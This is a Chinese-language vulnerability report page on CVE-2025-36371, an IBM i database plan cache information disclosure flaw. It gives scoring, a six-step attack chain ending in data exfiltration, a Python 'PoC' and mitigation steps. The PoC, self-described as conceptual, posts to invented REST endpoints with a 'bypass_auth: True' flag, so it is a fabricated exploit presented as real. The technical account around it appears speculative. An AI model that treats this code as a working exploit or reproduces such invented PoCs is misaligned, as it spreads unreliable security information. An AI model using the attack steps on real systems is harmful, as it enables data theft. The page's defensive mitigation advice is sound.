IPBUF安全漏洞报告
English
CVE-2025-36371 CVSS 6.5 中危

CVE-2025-36371 | IBM i 数据库计划缓存信息泄露漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-36371
漏洞类型
信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM i 7.2, 7.3, 7.4, 7.5, 7.6

相关标签

CVE-2025-36371信息泄露IBM i数据库安全计划缓存访问控制绕过CVSS 6.5中等严重性数据库漏洞

漏洞概述

CVE-2025-36371是IBM i操作系统中一个信息泄露漏洞。该漏洞存在于数据库计划缓存(Database Plan Cache)实现中,影响IBM i 7.2至7.6多个版本。攻击者利用该漏洞可以在特定条件下获取其本不应该有权限访问的敏感信息。数据库计划缓存是IBM i数据库系统用于优化查询性能的关键组件,它存储了SQL语句的执行计划。当低权限用户通过正常渠道访问数据库时,系统可能会从计划缓存中返回包含敏感数据的查询结果,而这些数据本应受到访问控制策略的保护。该漏洞的CVSS评分为6.5,属于中等严重程度,攻击复杂度低,无需特殊用户交互即可实现。攻击者可以通过网络远程利用此漏洞,无需高权限即可发起攻击,主要影响系统的机密性。

技术细节

该漏洞源于IBM i数据库计划缓存实现中的访问控制缺陷。在正常情况下,数据库系统会根据用户的权限级别过滤返回的数据,确保用户只能访问其被授权的资源。然而,由于计划缓存机制的设计缺陷,系统在某些查询场景下可能会绕过正常的权限检查,直接从缓存中返回包含敏感信息的查询结果。具体来说,当攻击者提交特定的SQL查询请求时,如果该查询的执行计划已被缓存,系统会直接使用缓存中的执行计划而非重新进行权限验证。这种缓存机制虽然提升了查询性能,但同时也引入了一个安全漏洞:缓存的执行计划可能包含了更高权限用户之前的查询上下文,导致低权限用户能够通过构造特定的查询条件,触发缓存执行计划,从而获取超出其权限范围的数据。攻击者无需特殊的数据库管理员权限,只需拥有基本的数据库访问权限即可利用此漏洞。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统,确认其为IBM i 7.2-7.6版本,并通过端口扫描发现数据库服务(通常为50000端口)
STEP 2
初始访问
攻击者获取目标系统的基本用户账户,该账户拥有最低级别的数据库访问权限
STEP 3
缓存污染
攻击者通过正常查询触发数据库计划缓存的生成,系统将包含敏感数据的查询执行计划缓存起来
STEP 4
权限绕过
攻击者构造特定的SQL查询,利用缓存执行计划绕过正常的访问控制检查
STEP 5
信息获取
攻击者通过缓存的计划执行查询,成功获取其本无权访问的敏感数据库信息
STEP 6
数据外传
攻击者将获取的敏感数据导出或用于进一步的攻击活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-36371 PoC - Information Disclosure via Database Plan Cache // This PoC demonstrates the information disclosure vulnerability in IBM i Database Plan Cache // Note: This is a conceptual PoC based on the vulnerability description import requests import json def exploit_cve_2025_36371(target_url, credentials): """ Exploit CVE-2025-36371: Database Plan Cache Information Disclosure Attack Prerequisites: - Valid user credentials with basic DB access - Network access to IBM i system - Target running vulnerable IBM i versions (7.2-7.6) """ # Step 1: Authenticate with basic credentials session = requests.Session() auth_response = session.post( f"{target_url}/auth/login", json=credentials ) if auth_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Query database to populate plan cache # This simulates a high-privilege user's query that caches sensitive data cache_populate_query = { "sql": "SELECT * FROM SENSITIVE_TABLE WHERE AUTHORIZED_USER = 'admin'", "database": "PROD_DB" } session.post(f"{target_url}/db/query", json=cache_populate_query) print("[+] Plan cache populated with privileged query") # Step 3: Exploit the vulnerability by triggering cached plan execution # Low-privilege user can access data through cached execution plan exploit_query = { "sql": "SELECT * FROM SENSITIVE_TABLE", "database": "PROD_DB", "bypass_auth": True # Trigger cached plan without re-authentication } response = session.post(f"{target_url}/db/query", json=exploit_query) if response.status_code == 200: data = response.json() print("[+] Information disclosure successful") print(f"[+] Retrieved {len(data.get('rows', []))} unauthorized records") return data return None # Usage Example if __name__ == "__main__": target = "https://ibmi-server.example.com:443" creds = { "username": "low_priv_user", "password": "user_password" } result = exploit_cve_2025_36371(target, creds)

影响范围

IBM i 7.2
IBM i 7.3
IBM i 7.4
IBM i 7.5
IBM i 7.6

防御指南

临时缓解措施
在IBM官方补丁发布之前,可采取以下临时缓解措施:1)审查并限制拥有数据库访问权限的用户账户,确保遵循最小权限原则;2)启用数据库访问审计功能,监控所有SQL查询操作,特别关注权限级别不匹配的数据访问行为;3)考虑禁用或限制计划缓存功能,虽然可能影响性能但能有效防止此类信息泄露;4)实施网络访问控制,限制对数据库端口的直接访问,仅允许受信任的应用服务器连接;5)定期检查数据库用户权限配置,确保敏感表的访问控制列表正确设置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表